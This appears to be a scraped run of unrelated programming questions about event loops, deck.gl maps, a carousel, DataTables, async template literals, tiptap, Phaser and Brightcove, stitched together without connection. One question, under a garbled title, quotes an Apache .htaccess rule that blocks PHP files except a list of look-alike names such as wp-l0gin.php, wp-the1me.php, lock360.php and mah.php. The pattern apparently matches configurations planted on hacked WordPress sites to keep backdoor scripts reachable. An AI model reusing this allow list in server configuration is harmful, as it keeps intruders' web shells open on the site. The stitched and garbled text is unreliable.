Is the event loop inherently used to implement asynchronous communication or non-blocking communication?

I recently figured out that there are differences between non-blocking communication and asynchronous communication. I thought that they are same things.

And then I was introduced to the concept of event loop.

event loop

but I have some confusions and questions about this topic. I visited all related topics and questions but I could not find my answers. these are my questions:

1- Is the event loop inherently used to implement asynchronous communication or non-blocking communication? if we have an event loop like this (with single thread), then we have a non-blocking communication or asynchronous communication? I know that in a non-blocking+asynchronous communication, event loop helps but I want know that event loop by nature implements what type of communication.

2- If the answer to the above question is that the communication is non-blocking, then whenever someone says that an event loop is used in an asynchronous communication, can we immediately conclude that that communication is also non-blocking?

3- We see that the event loop has only one thread. It can be concluded that “single-threaded asynchronous communication” must use the event loop, and since it uses the event loop, then this asynchronous communication must also be non-blocking?

In general, the idea that has formed in my mind is that a non-blocking communication has only one thread and is implemented with an event loop, and an asynchronous communication is implemented with multiple threads.

And if someone says that our asynchronous communication has only one thread, I assume that then it must also be a non-blocking communication and an event loop is used in it.
And if someone says that our non-blocking communication has implemented by multiple threads, then I assume that it must also be a asynchronous communication (and we have some promises like Future and CompletableFuture or something like that maybe.)

I am completely confused. help me please.

Using Google Maps API with DeckGLOverlay throws an undefined error

So I’m following this example by visgl from this PR: https://github.com/visgl/react-google-maps/blob/1a0ac6e13d15ceda5212d310ffc2370ffdd90e65/examples/deckgl-overlay/src/app.tsx

I even am using the same exact DATA_URL that’s provided in the example PR. However, it throws me an error, where it says

cannot read properties of null (reading 'fromLatLngToDivPixel')

I tried debugging this, and I found that this issue arise due to this useEffect inside of the DeckGlOverlay:

  useEffect(() => {
    deck.setMap(map);

    return () => deck.setMap(null);
  }, [map]);

If I comment this out, the map renders out fine, but if I try to include this useEffect, it will throw the error above. What am I missing here?

UPDATE

The only difference I see is that:

      <Map
        style={{ width: "85vw", height: "85vh" }}
        defaultCenter={{ lat: 37.74, lng: -122.4 }}
        zoom={11}
        gestureHandling={"greedy"}
        disableDefaultUI
      >
        <DeckGlOverlay layers={getDeckGlLayers(data)} />
      </Map>

In my component, I’m using style here, because if I don’t set this, I won’t see the map anywhere.

How to resolve Order allow,deny Deny from all Order allow circumstance repeat unmodified content from a webpage’ error in my web application?

how can I fix it, I believe it’s related to the content I am scraping or displaying and I have already tried [<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch>']. Any help would be appreciated!# Deny access to .py, .exe, .php files by default
<FilesMatch “.(py|exe|php)$”>
Order allow,deny
Deny from all

Allow specific PHP files

<FilesMatch “^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$”>
Order allow,deny
Allow from all

Enable mod_rewrite for clean URLs

RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

`here is the[website][1]

How can I change the animation for first image and last image when creating a Carousel slide by HTML, CSS and pure JS

I’ve implemented a basic image carousel (similar to this example). However, I’m encountering an issue with the transition when looping from the first slide to the last, or vice-versa. Instead of smoothly transitioning to the adjacent slide, all images shift, creating a jarring visual effect. I want the transition to behave as if the carousel were a continuous loop, only showing the single slide change.

Here are my code.

const slidesContainer = document.getElementById("slides-container");
const dotsContainer = document.getElementById("dots-container");
const prevButton = document.getElementById("slide-arrow-prev");
const nextButton = document.getElementById("slide-arrow-next");
const images = ["img1", "img2", "img3"];
let slideIndex = 1;

document.addEventListener("DOMContentLoaded", () => {
  generateImages(images);
  setEventForButton(prevButton);
  setEventForButton(nextButton);
});

// Generate images and dots
const generateImages = (imageToGenerate) => {
  imageToGenerate.forEach((image, index) => {
    // Generate images
    const slideComponent = document.createElement("li");
    slideComponent.classList.add("slide");
    slideComponent.innerHTML = `
            <img src="https://placehold.co/600x400?text=${image}.jpg" alt="Image ${index + 1}" />
        `;

    slidesContainer.appendChild(slideComponent);

    // Generate dots
    const dotComponent = document.createElement("li");
    dotComponent.classList.add("dot");
    if (index === 0) dotComponent.classList.add("active");
    dotComponent.addEventListener("click", () => {
      showSlide(index + 1);
    });
    dotsContainer.appendChild(dotComponent);
  });
};

// Set event for next button
const setEventForButton = (button) => {
  button.addEventListener("click", () => {
    if (button.id === "slide-arrow-prev") showSlide(slideIndex > 1 ? slideIndex - 1 : images.length);
    else showSlide(slideIndex < images.length ? slideIndex + 1 : 1);
  });
};

// Set slideshow
const showSlide = (n) => {
  const slides = document.querySelectorAll(".slide");
  const dots = document.querySelectorAll(".dot");

  const slideWidth = slides[0].clientWidth;
  slidesContainer.scrollLeft = slideWidth * (n - 1);

  dots.forEach((dot) => dot.classList.remove("active"));
  dots[n - 1].classList.add("active");
  slideIndex = n;
};
* {
  box-sizing: border-box;
}

body {
  max-width: 1440px;
  margin: auto;
}

.slider-wrapper {
  margin: 1rem;
  position: relative;
  overflow: hidden;
}

.slides-container {
  height: calc(100vh - 2rem);
  width: 100%;
  display: flex;
  scroll-behavior: smooth;
  overflow: hidden;
  list-style: none;
  margin: 0;
  padding: 0;
}

.slide-arrow {
  position: absolute;
  display: flex;
  top: 0;
  bottom: 0;
  margin: auto;
  height: 4rem;
  background-color: white;
  border: none;
  width: 2rem;
  font-size: 3rem;
  padding: 0;
  cursor: pointer;
  opacity: 0.5;
  transition: opacity 100ms;
}

.slide-arrow:hover,
.slide-arrow:focus {
  opacity: 1;
}

#slide-arrow-prev {
  left: 0;
  padding-left: 0.25rem;
  border-radius: 0 2rem 2rem 0;
}

#slide-arrow-next {
  right: 0;
  padding-left: 0.75rem;
  border-radius: 2rem 0 0 2rem;
}

.slide {
  width: 100%;
  height: 100%;
  flex: 1 0 100%;
}

.slide img {
  width: 100%;
  height: 100%;
  object-fit: contain;
}

.dots-container {
  position: absolute;
  top: 76%;
  left: 49%;
  right: auto;
  transform: translateX(-50%);
  display: flex;
}

.dot {
  cursor: pointer;
  display: inline-block;
  width: 0.8rem;
  height: 0.8rem;
  margin: 0 2px;
  border-radius: 50%;
  background-color: gray;
  transition: background_color 0.6s ease;
}

.active,
.dot:hover {
  background-color: black;
}
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Exercise 2</title>
  <link rel="stylesheet" href="./styles2.css" />
</head>

<body>
  <section class="slider-wrapper">
    <button class="slide-arrow" id="slide-arrow-prev">&#8249;</button>
    <button class="slide-arrow" id="slide-arrow-next">&#8250;</button>
    <!-- Generate images -->
    <ul class="slides-container" id="slides-container"></ul>

    <!-- Generate dots -->
    <ul class="dots-container" id="dots-container"></ul>
  </section>
  <script src="./index2.js"></script>
</body>

</html>

Is it possible to overwrite all error messages in DataTables with a custom one?

I am using DataTables in my project, and I want to override all default feedback messages, such as those shown when no records are found or while loading data, with a single custom message (e.g., “An error occurred, please try again.”).

I understand that options like language allow me to override specific messages such as zeroRecords, infoEmpty, or loadingRecords. However, I would like to avoid manually configuring each individual message. Is there a way to universally apply a single custom message across all these scenarios, without having to define them one by one?

    $(document).ready(function() {
        let table = new DataTable('#orders-table', {
            dom: 'rtp',
            paging: true,
            searching: true,
            ordering: true,
            pageLength: 10,
            processing: true,
            serverSide: true,
            autoWidth: false,
            scrollX: false,
            scrollCollapse: true,
            order: [[0, 'desc']],
            ajax: {
                url: "{{ $url }}",
                data: function(d) {
                    d.van = $('#van').val();
                    d.tot = $('#tot').val();
                    d.resellerKlant = $('#resellerKlant').val();
                    d.cursus = $('#cursus').val();
                    @if(auth()->user()->isBeheerder())
                        d.reseller = $('#reseller').val();
                    @endif
                },

            },
            columns: [
                {
                    data: 'id',
                    title: 'Ordernummer',
                    render: function(data, type, row) {
                        var formattedNumber = data.toString();
                        if (formattedNumber.length < 6) {
                            formattedNumber = ('000000' + formattedNumber).slice(-6);
                        }
                        return '#' + formattedNumber;
                    }
                },
                    @if(auth()->user()->isBeheerder())
                {
                    data: 'reseller_naam',
                    title: 'Reseller',
                },
                    @endif
                {
                    // data: 'cursus_naam',
                    title: 'Cursussoort',
                    render: function(data, type, row) {
                        return data;
                    }
                },
                {
                    data: 'cursist',
                    title: 'Cursist',
                    render: DataTable.render.text(),
                    width: '250px'
                },
                {
                    data: 'resellerklant',
                    title: 'Organisatie',
                    render: DataTable.render.text()
                },
                {
                    data: 'created_at',
                    title: 'Aanschaf',
                    render: function(data) {
                        return new Date(data).toLocaleDateString();
                    }
                },
                {
                    data: 'created_at',
                    title: 'Geldig tot',
                    render: function(data) {
                        let date = new Date(data);
                        date.setFullYear(date.getFullYear() + 1);
                        return date.toLocaleDateString();
                    }
                },
                {
                    data: 'prijs',
                    title: 'Inkoopprijs',
                    render: function(data, type, row) {
                        return new Intl.NumberFormat('nl-NL', { style: 'currency',          currency: 'EUR' }).format(data);
                    }
                },
            ],
            language: {
                search: "",
                "zeroRecords": "Geen orders gevonden",
                "infoEmpty": "Geen orders gevonden",
                "emptyTable": "Geen orders gevonden"
            }
        });

        $('#zoekenNaarCursisten').on('input', function() {
            var value = $(this).val();
            table.search(value).draw();
        });
        $('#van, #tot, #resellerKlant, #cursus').on('change', function() {
            table.ajax.reload();
        });

        @if(auth()->user()->isBeheerder())
        $('#reseller').on('change', function() {
            table.ajax.reload();
        });
        @endif

        new TomSelect("#resellerKlant", {
            plugins: ['remove_button'],
            create: false,
            sortField: {
                field: "text",
                direction: "asc"
            },
            render: {
                no_results: function(data, escape) {
                    return '<div class="no-results">Geen resultaat voor "' + escape(data.input) + '"</div>';
                }
            }
        });

        @if(auth()->user()->isBeheerder())
        new TomSelect("#reseller", {
            plugins: ['remove_button'],
            create: false,
            sortField: {
                field: "text",
                direction: "asc"
            },
            render: {
                no_results: function(data, escape) {
                    return '<div class="no-results">Geen resultaat voor "' + escape(data.input) + '"</div>';
                }
            }
        });

        $.ajax({
            url: "{{ $url }}",
            method: 'GET',
            data: { action: 'get_cursussen' },
            success: function(response) {
                if(response.cursussen) {
                    var cursusSelect = $('#cursus');
                    cursusSelect.find('option:not(:first)').remove();
                    $.each(response.cursussen, function(index, cursus) {
                        cursusSelect.append(
                            $('<option></option>').val(cursus.id).text(cursus.text)
                        );
                    });
                    new TomSelect("#cursus", {
                        plugins: ['remove_button'],
                        create: false,
                        sortField: {
                            field: "text",
                            direction: "asc"
                        },
                        render: {
                            no_results: function(data, escape) {
                                return '<div class="no-results">Geen resultaat voor "' + escape(data.input) + '"</div>';
                            }
                        }
                    });
                }
            },
            error: function(xhr, status, error) {
                console.error('Error fetching cursussoort:', error);
            }
        });
        @else
        var cursussen = @json($cursussen);
        var cursusSelect = $('#cursus');
        $.each(cursussen, function(index, cursus) {
            cursusSelect.append(
                $('<option></option>').val(cursus.id).text(cursus.naam)
            );
            if(cursus.heeft_herhalingstraining){
                cursusSelect.append(
                    $('<option></option>').val('h_' + cursus.id).text(cursus.naam_herhaling)
                );
            }
        });
        new TomSelect("#cursus", {
            plugins: ['remove_button'],
            create: false,
            sortField: {
                field: "text",
                direction: "asc"
            },
            render: {
                no_results: function(data, escape) {
                    return '<div class="no-results">Geen resultaat voor "' + escape(data.input) + '"</div>';
                }
            }
        });
        @endif
    });
</script>

@endsection

I hoped that this single configuration would apply the message universally across all error cases.

I want to call function inside template letral that are returning promises but that say [ Object Promise ] on page, how can fix it

here i’m calling fetchActivityDropDowns() inside div data are comming correctly but [object promise] are showing just before choose accommodation type stip so how can resolve?

Basically i had created a seprate async fucntion to fetchdropdowns data from server and i also calling other async fucntion inside ansyc function so that I’m getting this kind of error I want to solev this how can?

async function fetchDaywiseActivityAndAccomData(subqId, daywiseIdPK) {

        if (subqId && daywiseIdPK) {

            showLoader('Please Wait!', 'Fetching activities and accommodation!');

            try {
                const response = await $.ajax({
                    url: "{{ url('/quoteactivityplanner/get-daywise-act-and-accom-data') }}",
                    method: "POST",
                    headers: {
                        "X-CSRF-TOKEN": $('meta[name="csrf-token"]').attr("content"),
                    },
                    data: {
                        "subqId": subqId,
                        "daywiseIdPK": daywiseIdPK,
                    },
                    dataType: "json"
                });


                if (response.status === 'true') {

                    const {
                        mealProviders,
                        mealSlots,
                        meals,
                        accom_cat_list
                    } = response.data;
                    const itineraryCardData = response?.data?.quote_daywise_data[0];
                    
                    const activityCount = itineraryCardData?.activities?.length || 0;
                    // for btn if no any activity then 
                    const activityButton = activityCount === 0
                        ? `
                            <button class="btn btn-primary pull-left add-activity" style="margin-right: 10px;" 
                                data-day-id="${itineraryCardData.day_id}" 
                                data-accom-day-id="${itineraryCardData.daywise_id_pk}" 
                                data-country-id="${itineraryCardData.country_id}">
                                <i class="fa fa-plus mx-1"></i><span>Add Activity</span>
                            </button>
                        `
                        : '';
               
                    const daywiseActCard = document.querySelector('.daywise-act-block');
                    let actDayCard = ` 
                        <div class="col-xl-12 col-lg-12 col-md-12 mb-1 act-day-card" id="itinerary_day_card_${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}" data-day_id=${itineraryCardData.day_id}">
                            <div class="card m-0 daywise-act-card rounded">
                                <div class="col-12 p-0 bg-grey rounded-top">
                                    <p class="p-1 mb-0 text-white">
                                        Day ${itineraryCardData.day_id} - Itinerary
                                        <span class="pull-right">${new Date(itineraryCardData.day_date).toLocaleDateString('en-GB')}</span>
                                    </p>
                                </div>
                                <div class="col-12 p-0">
                                    <div class="row m-0">
                                        <div class="col-12">
                                            <div class="row">
                                                <div class="col-10 mt-1 Actionbtns">
                                                    <button class="btn btn-primary pull-left add-accom-day-before" style="margin-right: 10px;" data-day-id=${itineraryCardData.day_id} data-daywiseid=${itineraryCardData.daywise_id_pk} data-subquoteid=${itineraryCardData.sub_id} ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}>
                                                        <i class="fa fa-plus mx-1"></i><span>Add A day Before</span>
                                                    </button>
                                                    <button class="btn btn-primary pull-left add-tour-day-before" 
                                                        style="margin-right: 10px;" 
                                                        data-day-id="${itineraryCardData.day_id}" 
                                                        data-daywiseid="${itineraryCardData.daywise_id_pk}" 
                                                        data-subquoteid="${itineraryCardData.sub_id}" 
                                                        data-before="0"
                                                        data-target="#modal_add_tour_day_after_before" 
                                                        data-toggle="modal" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}>
                                                        <i class="fa fa-plus mx-1"></i><span>Add Tour's Days Before</span>
                                                    </button>
                                                    <button class="btn btn-primary pull-left copy-quote-itinerary-before" 
                                                        style="margin-right: 10px;" 
                                                        data-day-id="${itineraryCardData.day_id}" 
                                                        data-daywiseid="${itineraryCardData.daywise_id_pk}" 
                                                        data-subquoteid="${itineraryCardData.sub_id}" 
                                                        data-before="0"
                                                        data-target="#copy_quote_itinerary" 
                                                        data-toggle="modal" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}>
                                                        <i class="fa fa-plus mx-1"></i><span>Copy Quote's Itinerary Before</span>
                                                    </button>
                                                    ${activityButton}
                                                </div>
                                                <div class="col-2 mt-1">
                                                    <a target="_blank" href="{{ url('quote/additional_activity/add/${itineraryCardData.sub_id}/${itineraryCardData.daywise_id_pk}') }}" >
                                                        <button class="btn btn-success pull-right submit_quote" title="Add Optional Activity" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}>
                                                            <i class="fa fa-plus mx-1"></i><span>Add Optional Activity</span>
                                                        </button>
                                                    </a>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>

                                <div class="p-1">
                                    <div class="itinerary-form-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk} itinerary-day-block rounded">
                                        <!-- Activity Section Start -->
                                        ${
                                            // Generate the activity HTML content here
                                            itineraryCardData?.activities.map(item => `
                                                <!-- Activity Section Start -->
                                                <form id="update-activity-form-${itineraryCardData.day_id}-${item.activity_id_pk}" method="POST"  style="${item.activity_id_pk ? 'display: block;' : 'display: none;'}" class="mb-1"  class="individual-activity-form">
                                                    <div class="activity-section p-1 rounded">
                                                        <div class="row">
                                                            <div class="col-10 mt-1">      
                                                                <button class="btn btn-primary pull-left add-activity-before" style="margin-right: 10px;" data-day-id="${itineraryCardData.day_id}" data-accom-day-id="${itineraryCardData.daywise_id_pk}" data-activity-id="${item.activity_id_pk}"  data-country-id="${itineraryCardData.country_id}" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}>
                                                                    <i class="fa fa-plus mx-1"></i><span>Add Activity Before</span>
                                                                </button>
                                                            </div>
                                                            <div class="col-2 mt-1">
                                                                <!--
                                                                <a target="_blank" href="{{ url('quote/additional_activity/add/17741/167564') }}">
                                                                    <button class="btn btn-success pull-right submit_quote" title="Add Additional Activity">
                                                                        <i class="fa fa-plus mx-1"></i><span>Add Optional Activity</span>
                                                                    </button>
                                                                </a>
                                                                -->
                                                            </div>
                                                        </div>

                                                        <div class="row g-3">
                                                            <div class="col-12 mt-1">   
                                                                <p class="p-1 mb-0 day-activity-name p-1 text-center">
                                                                    ${item.activity_name ? item.activity_name : 'NA'}
                                                                </p>   
                                                            </div>
                                                            <!-- City -->
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="city">City</label>
                                                                <select name="act_city_id_fk" id="act_city_id_fk-${itineraryCardData.day_id}-${item.activity_id_pk}" data-day-id=${itineraryCardData.day_id} data-activity-id=${item.activity_id_pk} class="form-control change_activity_city" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}></select>
                                                            </div>
                                                            <!-- City Image -->
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="cityImage">City Image</label>
                                                                <select name="city_image_id_fk" id="city_image_id_fk-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}></select>
                                                            </div>
                                                            <!-- Activity -->
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="activity">Activity</label>
                                                                <select name="city_activity_id_fk" id="city_activity_id_fk-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}></select>
                                                            </div>
                                                        </div>

                                                        <div class="row g-3 mt-1">
                                                            <!-- Activity Provider -->  
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="activityProvider">Activity Provider</label>
                                                                <select name="activity_provider_id_fk" id="activity_provider_id_fk-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}></select>
                                                            </div>
                                                            <!-- Activity Timing -->
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="activityTiming">Activity Timing</label>
                                                                <div class="row g-2">
                                                                    <div class="col-6 d-flex align-items-center">
                                                                        <span>From:</span>
                                                                        <input name="act_start_time" type="time" id="act-start-time-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control mx-1" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                                    </div>
                                                                    <div class="col-6 d-flex align-items-center">
                                                                        <span>To:</span>
                                                                        <input name="act_end_time" type="time" id="act-end-time-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control mx-1" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                            <!-- Kilometer -->
                                                            <div class="col-lg-4 col-md-6">
                                                                <label for="kilometer">Kilometer</label>
                                                                <input type="text" name="act_kilometer" id="act-kilometer-${itineraryCardData.day_id}-${item.activity_id_pk}" class="form-control" placeholder="Enter kilometers" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''} />
                                                            </div>
                                                        </div>

                                                      
                                                    </div>
                                                </form>
                                                <!-- Activity Section End -->
                                                
                                                ${fetchActivityDropDowns(itineraryCardData.country_id, itineraryCardData.day_id, item)}
                                            `   
                                            ).join('')

                                        }    
                                        <!-- Activity Section End -->

                                        <!-- Accomodation Section Start -->
                                        <form id="update-accommodation-form-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}"  method="POST">
                                            <div class="accomodation-section p-2 mt-1 rounded">
                                                <div class="bg-success rounded accom-type-switch text-white">
                                                    <div class="row pb-1">
                                                        <div class="col-3 custom-control enxtyuepp custom-switch">
                                                            <b>Choose Accommodation Type :</b>
                                                        </div>
                                                        <div class="col-1 custom-control enxtyuepp custom-switch">
                                                            <input type="radio" name="own_accom" class="custom-control-input accom-type" data-day_id="${itineraryCardData.day_id}" data-accom_day_id="${itineraryCardData.daywise_id_pk}" id="hotelSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}" value="0" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                            <label class="custom-control-label text-white" for="hotelSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}">
                                                                <span>Hotel</span>
                                                            </label>
                                                        </div>
                                                        <div class="col-1 custom-control enxtyuepp custom-switch">
                                                            <input type="radio" name="own_accom" class="custom-control-input accom-type" data-day_id="${itineraryCardData.day_id}" data-accom_day_id="${itineraryCardData.daywise_id_pk}" id="trainSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}" value="2" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                            <label class="custom-control-label text-white" for="trainSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}">
                                                                <span>Train</span>
                                                            </label>
                                                        </div>
                                                        <div class="col-1 custom-control enxtyuepp custom-switch">
                                                            <input type="radio" name="own_accom" class="custom-control-input accom-type" data-day_id="${itineraryCardData.day_id}" data-accom_day_id="${itineraryCardData.daywise_id_pk}" id="flightSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}" value="3" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                            <label class="custom-control-label text-white" for="flightSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}">
                                                                <span>Flight</span>
                                                            </label>
                                                        </div>
                                                        <div class="col-3 custom-control enxtyuepp custom-switch">
                                                            <input type="radio" name="own_accom" class="custom-control-input accom-type" data-day_id="${itineraryCardData.day_id}" data-accom_day_id="${itineraryCardData.daywise_id_pk}" id="ownArrangementSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}" value="1" ${itineraryCardData.quote_status === 1 ? 'disabled' : ''}/>
                                                            <label class="custom-control-label text-white" for="ownArrangementSwitch-${itineraryCardData.day_id}-${itineraryCardData.daywise_id_pk}">
                                                                <span>Own Arrangement</span>
                                                            </label>
                                                        </div>
                                                    </div>
                                                </div>
                                    
                                        

                                                <!-- Update day Button END -->
                                            </div>
                                        </form>
                                        <!-- End of Accomodation Section -->
                                    </div>
                                </div>
                            </div>
                        </div>
                    `;
                    $('.daywise-act-block').append(actDayCard);

                  

                }

            } catch (error) {
                Swal.fire({
                    icon: "error",
                    title: 'Oops...',
                    text: 'AJAX' + error,
                });
            }
        } else {
            Swal.fire({
                icon: "error",
                title: 'Oops...',
                text: 'No data found.',
            });
        }
    }

this is the second function which I’m calling inside other function

  async function fetchActivityDropDowns(countryId, dayId, activityData) {

        try {

            // AJAX request to fetch activity dropdown data
            const response = await $.ajax({
                url: "{{ url('/quoteactivityplanner/getActivityDropdowns') }}",
                method: "POST",
                headers: {
                    "X-CSRF-TOKEN": $('meta[name="csrf-token"]').attr("content"),
                },
                data: { countryId: countryId },
                dataType: "json"
            });

            // Extracting data from the response
            const { cities, cityImages, cityActivities, activityProviders, transportTypes, transportProviders, guideProviders, miscellaneous } = response.data;

            // Populating the city dropdown
            if (cities) {
                const cityDropdown = $(`#act_city_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                
                // Clear previous options and add the default option
                cityDropdown.html('<option value="">Select City</option>');
                
                // Populate the dropdown with city options
                $.each(cities, function(cId, cityName) {
                    const option = new Option(cityName, cId, false, cId == activityData.activity_city_id);
                    cityDropdown.append(option);
                });

                // Initialize or reinitialize Select2
                cityDropdown.select2({
                    placeholder: 'Select City',
                    allowClear: true,
                    width: '100%'
                }).trigger('change');

                // Listen for city selection changes
                cityDropdown.on('change', function () {
                  
                    const selectedCityId = $(this).val();
                    const selectedCityName = $(this).find(':selected').text();
                    $(`.act-accom-city-name-${dayId}`).html(`(${selectedCityName || 'No City updated'})`);

                    // Get the related activity dropdown
                    const activityDropdown         = $(`#city_activity_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                    const cityImageDropdown        = $(`#city_image_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                    const activityProviderDropdown = $(`#activity_provider_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                    const transportProviderDropdown= $(`#transport_provider_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                    const guideProviderDropdown    = $(`#guide_provider_id_fk-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`);
                    
                    if (!selectedCityId) {
                        // If no city is selected, clear and disable the activity dropdown
                        // activityDropdown.html('<option value="">Select City Activity</option>').prop('disabled', true);
                        activityDropdown.html('<option value="">Select City Activity</option>').select2().trigger('change');
                        cityImageDropdown.html('<option value="">Select City Image</option>').select2().trigger('change');
                        activityProviderDropdown.html('<option value="">Select Activity Provider</option>').select2().trigger('change');
                        transportProviderDropdown.html('<option value="">Select Transport Provider</option>').select2().trigger('change');
                        guideProviderDropdown.html('<option value="">Select Guide Provider</option>').select2().trigger('change');
                        
                    } else {
                        // If a city is selected, enable the activity dropdown and trigger the function to populate it
                        // activityDropdown.prop('disabled', false);
                        // Call your function to populate activities for the selected city
                        fetchCityActivities(selectedCityId, activityDropdown, cityImageDropdown, activityProviderDropdown, transportProviderDropdown, guideProviderDropdown);
                    }
                });
            }

           
            // Populating input fields with activity data
            $(`#description-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).text(activityData.activity_description || '');
            $(`#act-kilometer-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.act_kilometer);
            $(`#approx-drive-hour-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.approx_drive_hour);
            $(`#approx-drive-min-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.approx_drive_min);
            $(`#act-start-time-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.act_start_time);
            $(`#act-end-time-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.act_end_time);
            $(`#transport-details-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.transport_details);
            $(`#activity-notes-${dayId}-${activityData.activity_id_pk ? activityData.activity_id_pk : activityData}`).val(activityData.act_sub_description);

        } catch (error) {
            console.error('Error fetching activity dropdowns:', error);
        }
    }

How to use tiptap to implement an editable inline label?

I want to use tiptap to implement an editable inline label,
but I found that the cursor cannot focuson the inside of the label.
It always automatically jumps to the end of the label.

enter image description here

<script type="module">
    const EditableTag = Node.create({
        name: 'editableTag',
        group: 'inline',
        inline: true,
        content: '(inline | text)*',

        // ...

        renderHTML({ HTMLAttributes }) {
            return ['span', { 'data-type': 'editable-tag', class: 'editable-tag' }, 0]
        },

        addKeyboardShortcuts() {
            return {
                Enter: () => true,
                Backspace: ({editor}) => {
                    const { selection } = editor.state
                    console.log('Backspace', editor.state);
                    return true;
                }
            }
        },

        addNodeView() {
            return ({ node, getPos, editor }) => {
                const wrapper = document.createElement('span')
                wrapper.setAttribute('data-type', 'editable-tag')

                // create contentDOM
                const contentDOM = document.createElement('span')
                contentDOM.textContent = node.attrs.value
                contentDOM.classList.add('editable-tag-content')

                wrapper.appendChild(contentDOM)

                return {
                    dom: wrapper,
                    contentDOM, // set contentDOM as editable area
                }
            }
        },

        addCommands() {
            // ...
        }
    });
</script>

Stepper Reels Mechanism in phaser 3

enter image description here

I try to developing a stepper reel game. developed the normal reel spins. but we need looks like attached picture. the images are expanding during spinning.

Any one have idea for this reel. developing this reel in Phaser.

Note: Spinning is not a problem. need look and feel like the roller shape.

I am trying to clone the brightcove player into another div but once cloned the video is not getting played

I wanted to clone the brightcove player into another div and play in the new div on clicking the click to clone button. But the video is not playing in the cloned div

videojs.getPlayer('myPlayerID').ready(function() {
  var myPlayer = this;
  
  // +++ Wait for loadstart to read video information +++
  myPlayer.on("loadstart", function(evt) {
    
    // +++ Read test and link from video info and build anchor tag +++
    var linkText = myPlayer.mediainfo.link.text,
      linkURL = myPlayer.mediainfo.link.url,
      hrefString =
        '<a href = "' + linkURL + '" target="_blank">' + linkText + "</a>";
    
    
  });
});


$('.click-to-clone').on('click', function() {
  console.log('button clicked');
  var videoPlayer = $(document).find('video-js');
  if (videoPlayer.length > 0) {
    var clonedDiv = document.querySelector('.clonedElement');
    clonedDiv.innerHTML = videoPlayer.prop('outerHTML');
    clonedDiv.querySelector('.video-js').setAttribute('id', 'myPlayerID1');
  }
})
/* * The body style is just for the
 * background color of the codepen.
 * Do not include in your code.
 */
body {
  background-color: #bbb;
  color: #f00;
}
/*
 * Styles essential to the sample
 * are below
 */
.video-js {
  height: 344px;
  width: 610px;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<video-js id="myPlayerID"
    data-video-id="5165694790001"
    data-account="1752604059001"
    data-player="HJSEihoR"
    data-embed="default"
    data-application-id
    controls></video-js>
<button class="click-to-clone">Click to Clone</button>
<div class="clonedElement"></div>
    <script src="https://players.brightcove.net/1752604059001/HJSEihoR_default/index.min.js"></script>

In the above snippet I have added a brightcove player and it is initialised on load, and I have created a button. Once the button is clicked I am cloning the entire brightcove player and adding it to another div where the video is not getting played. Not sure what needs to be done to make the video play in the cloned div also. Need some help. Thanks in advance

